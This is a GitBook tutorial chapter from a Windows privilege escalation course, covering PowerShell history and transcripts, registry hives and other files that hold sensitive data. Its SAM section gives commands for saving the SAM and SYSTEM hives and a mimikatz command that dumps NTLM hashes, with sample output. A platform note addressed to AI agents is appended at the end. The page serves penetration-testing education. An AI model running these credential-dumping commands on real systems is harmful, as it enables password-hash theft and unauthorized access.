> For the complete documentation index, see [llms.txt](https://dev-angelist.gitbook.io/windows-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dev-angelist.gitbook.io/windows-privilege-escalation/11-files-with-sensitive-data.md).

# 11 - Files with Sensitive Data

#### Topics <a href="#topics" id="topics"></a>

> 1. Introduction to the Windows Shells
> 2. Windows Permissions
> 3. Reverse Shells in Windows
> 4. SeImpersonatePrivilege Exploitation
> 5. On Cross Compilation
> 6. Windows Services
> 7. Weak Service Permissions
> 8. Unquoted Service Path
> 9. DLL Hijacking
> 10. Always Install Elevated
> 11. Files with Sensitive Data
> 12. Windows Hashes
> 13. Stored Credentials and the Windows Vault
> 14. Scheduled Task
> 15. Critical Registry Paths
> 16. Useful Tools
> 17. AMSI Bypass

## **System Logs**

PowerShell commands and system logs are valuable for tracking user activity and investigating security incidents. This guide details key concepts such as command history, transcript logs, and sensitive Windows files like the SAM and registry hives.

### **Command History**

PowerShell maintains a history of executed commands, which can be retrieved in the following ways:

* **Retrieve Commands from Memory**:

  ```powershell
  Get-History
  ```
* **Retrieve History File Location**:

  ```powershell
  (Get-PSReadlineOption).HistorySavePath
  ```
* **Default History File Paths**:
  * **Windows**:

    ```bash
    %UserProfile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    ```
  * **Linux**:

    ```bash
    $HOME/.local/share/powershell/PSReadLine/ConsoleHost_history.txt
    ```

### **PowerShell Transcript**

A PowerShell transcript records all executed commands and their output to a file. While useful for audits, mishandling transcripts may expose sensitive data.

* **Start Transcript**:

  ```powershell
  Start-Transcript -Path "C:\Users\Quickemu\Desktop\Log.txt"
  ```
* **Stop Transcript**:

  ```powershell
  Stop-Transcript
  ```

***

## **Security Accounts Manager (SAM + SYSTEM)**

The **Security Accounts Manager (SAM)** file stores local user credentials, including usernames, password hashes, and security identifiers (SIDs).

**Location:**

```bash
C:\Windows\System32\config\SAM
```

The SAM file is locked by the operating system, but backup copies may sometimes be accessible.

***

### **Dumping SAM with `SeBackupPrivilege`**

The `SeBackupPrivilege` allows privileged users or processes to bypass file security restrictions and back up system files.

* **Grant Privilege to a User**:

  ```powershell
  Add-LocalGroupMember -Group "Backup Operators" -Member "Leonardo"
  ```
* **Save SAM and SYSTEM Files**:

  ```powershell
  reg save hklm\sam C:\Users\Leonardo\Desktop\SAM.hive
  reg save hklm\system C:\Users\Leonardo\Desktop\SYSTEM.hive
  ```

### **Using Mimikatz to Dump LSASS**

`Mimikatz` can extract hashes stored in the Local Security Authority Subsystem Service (LSASS).

* **Command**:

  ```bash
  mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
  ```
* **Sample Output**:

  ```bash
  RID  : 000003e8 (1000)
  User : Quickemu
    Hash NTLM: 2b576acbe6bcfda7294d6bd18041b8fe
  ```

***

## **Registry Hives**

The Windows registry stores system and application settings. It is divided into hierarchical **registry hives**, each with specific roles and locations.

### **Common Registry Hives:**

* **HKEY\_CLASSES\_ROOT (HKCR)**:

  ```bash
  C:\Windows\System32\Config\Software
  ```
* **HKEY\_LOCAL\_MACHINE (HKLM)**:

  ```bash
  C:\Windows\System32\Config\SYSTEM
  ```
* **HKEY\_USERS (HKU)**:

  ```bash
  C:\Windows\System32\Config\DEFAULT
  ```
* **HKEY\_CURRENT\_USER (HKCU)**:

  ```bash
  C:\Users\<UserName>\NTUSER.DAT
  ```
* **HKEY\_CURRENT\_CONFIG (HKCC)**:

  ```bash
  C:\Windows\System32\Config\SystemProfile
  ```

### **Registry Analysis with `regipy`**

Use the `regipy` Python package to analyze registry hives:

```bash
pip3 install regipy
```

Example Python script for listing registry keys:

```python
from regipy.registry import RegistryHive

def list_registry_keys(hive_path):
    hive = RegistryHive(hive_path)
    for entry in hive.recurse_subkeys(as_json=True):
        print(entry)

if __name__ == "__main__":
    list_registry_keys("./SYSTEM")
```

***

## **Extra System Files**

### **Configuration Files**

Applications often store configuration data in the following locations:

* `%AppData%`
* `%LocalAppData%`

### **Paging File**

The paging file (`pagefile.sys`) is used by Windows for virtual memory.

* **Location**:

  ```bash
  C:\pagefile.sys
  ```

### **Hibernation File**

When hibernation is enabled, Windows saves the RAM contents to `hiberfil.sys`.

* **Location**:

  ```bash
  C:\hiberfil.sys
  ```

***

## **Other Resources**

* [Mimikatz GitHub Repository](https://github.com/gentilkiwi/mimikatz)
* [Regipy GitHub Repository](https://github.com/mkorman90/regipy)

{% hint style="danger" %}
**Disclaimer**

**❗ Never use tools and techniques on real IP addresses, hosts or networks without proper authorization!**❗
{% endhint %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dev-angelist.gitbook.io/windows-privilege-escalation/11-files-with-sensitive-data.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
